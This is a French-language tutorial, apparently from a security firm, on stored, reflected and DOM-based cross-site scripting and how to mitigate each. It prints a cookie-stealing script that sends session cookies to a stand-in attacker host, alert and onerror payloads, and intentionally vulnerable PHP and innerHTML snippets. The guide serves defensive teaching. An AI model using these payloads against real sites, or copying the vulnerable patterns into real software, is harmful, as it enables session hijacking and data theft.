XSS Expliqué : Exploitation Stockée, Réfléchie et Basée sur le DOM dans les Applications Modernes

Le Cross-Site Scripting (XSS) reste systématiquement l'une des vulnérabilités des applications web les plus importantes. Bien classées dans le Top 10 de l'OWASP, les attaques XSS se produisent lorsqu'une application inclut des données non fiables dans une page web sans validation ou échappement appropriés. Si un attaquant exécute avec succès un XSS, il peut exécuter des scripts malveillants dans le navigateur de la victime, entraînant un détournement de session, une dégradation de l'interface ou une redirection vers des sites malveillants.

Dans ce guide complet de Cayvora Security, nous explorerons les trois principaux types de XSS : Stocké, Réfléchi et basé sur le DOM. Nous présenterons des exemples d'exploitation du monde réel et démontrerons des pratiques de codage sécurisées pour atténuer ces attaques dévastatrices en 2025.

Comprendre l'Impact du XSS

Lorsqu'une victime visite une page web contenant du code JavaScript malveillant injecté, son navigateur exécute le code en supposant qu'il provient d'une source fiable. Cela permet à l'attaquant de :

1. Détourner des Sessions Utilisateur : En accédant à document.cookie, un attaquant peut voler des jetons de session et effectuer des actions au nom de l'utilisateur.
2. Effectuer des Actions Non Autorisées : En utilisant XMLHttpRequest ou l'API fetch, le script peut falsifier des requêtes.
3. Capturer des Données Sensibles : Des enregistreurs de frappe (keyloggers) peuvent être injectés pour capturer les mots de passe.
4. Distribuer des Logiciels Malveillants : Le script peut rediriger silencieusement l'utilisateur vers des kits d'exploitation.

1. XSS Stocké (XSS Persistant)

Le XSS stocké est le type de Cross-Site Scripting le plus dommageable. Il se produit lorsqu'une application reçoit une entrée d'un utilisateur, la stocke dans une base de données sans désinfection, puis l'intègre ultérieurement dans les pages web servies à d'autres utilisateurs.

Exemple d'Exploitation Réel

Prenons l'exemple d'une application de forum où les utilisateurs peuvent laisser des commentaires. Un utilisateur malveillant soumet un commentaire contenant la charge utile suivante :

Super article ! <script>
  let img = new Image();
  img.src = "http://attaquant.com/voler?cookie=" + document.cookie;
</script>

L'application stocke cette entrée directement dans la base de données MySQL. Lorsque les utilisateurs suivants, y compris les administrateurs, consultent le fil de discussion, leur navigateur affiche le HTML, y compris la balise <script>. Le script s'exécute silencieusement, envoyant le cookie de session à attaquant.com.

Stratégies d'Atténuation

Pour prévenir le XSS stocké, vous devez valider les entrées à leur arrivée et, surtout, encoder contextuellement la sortie avant de la rendre au navigateur.

• Encodage des Sorties : Assurez-vous que les caractères tels que <, >, &, ' et " sont encodés en tant qu'entités HTML. En PHP, utilisez htmlspecialchars() avec ENT_QUOTES.
• Content Security Policy (CSP) : Une CSP forte peut empêcher l'exécution de scripts en ligne et restreindre les domaines à partir desquels les scripts peuvent être chargés.

2. XSS Réfléchi (XSS Non Persistant)

Le XSS réfléchi se produit lorsqu'une application reçoit des données dans une requête HTTP et inclut ces données dans la réponse immédiate de manière non sécurisée. Le script injecté est "réfléchi" par le serveur web, comme dans un message d'erreur ou un résultat de recherche.

Exemple d'Exploitation Réel

Une page de recherche vulnérable recherche.php pourrait renvoyer la requête de l'utilisateur :

<p>Vous avez recherché : <?php echo $_GET['requete']; ?></p>

Un attaquant crée une URL malveillante et l'envoie à une victime via un e-mail : http://exemple.com/recherche.php?requete=<script>alert('XSS')</script>

Le script s'exécute immédiatement dans le contexte de la session de la victime.

Stratégies d'Atténuation

• Validation Stricte des Entrées : Implémentez une approche de liste blanche pour s'assurer que le paramètre de requête ne contient que les caractères alphanumériques attendus.
• Encodage Adapté au Contexte : Encodez la sortie en fonction de l'endroit où elle est placée.

3. XSS Basé sur le DOM

Le XSS basé sur le DOM (Document Object Model XSS) est une vulnérabilité avancée où la charge utile de l'attaque est exécutée à la suite d'une modification de l'environnement DOM dans le navigateur de la victime. Le serveur lui-même n'est absolument pas au courant de l'attaque.

Exemple d'Exploitation Réel

Prenons un extrait JavaScript côté client qui extrait la préférence de langue de l'utilisateur à partir du fragment d'URL :

let lang = decodeURIComponent(window.location.hash.substring(1));
document.getElementById('affichage-langue').innerHTML = lang;

Un attaquant envoie un lien : http://exemple.com/page.html#<img src=x onerror=alert('DOM_XSS')>

Le JavaScript exécuté dans le navigateur lit le hachage malveillant et l'insère dans le innerHTML d'un élément, déclenchant l'exécution.

Stratégies d'Atténuation

• Éviter les Sinks Dangereux : Remplacez innerHTML et document.write par des alternatives plus sûres comme textContent.
• Désinfecter les Entrées Client : Si du HTML doit être inséré dynamiquement, utilisez des bibliothèques comme DOMPurify pour supprimer les balises malveillantes.

Implémentation de la Content Security Policy (CSP)

Exemple d'en-tête CSP :

Content-Security-Policy: default-src 'self'; script-src 'self' https://scripts-fiables.exemple.com; object-src 'none';

Cette politique empêche les scripts en ligne, annulant complètement la plupart des attaques XSS, même si une faille d'injection existe.

Lectures Complémentaires

Continuez votre apprentissage avec nos guides sur : - Maîtrise de l'Injection SQL

Pour les dernières mises à jour, consultez l'OWASP.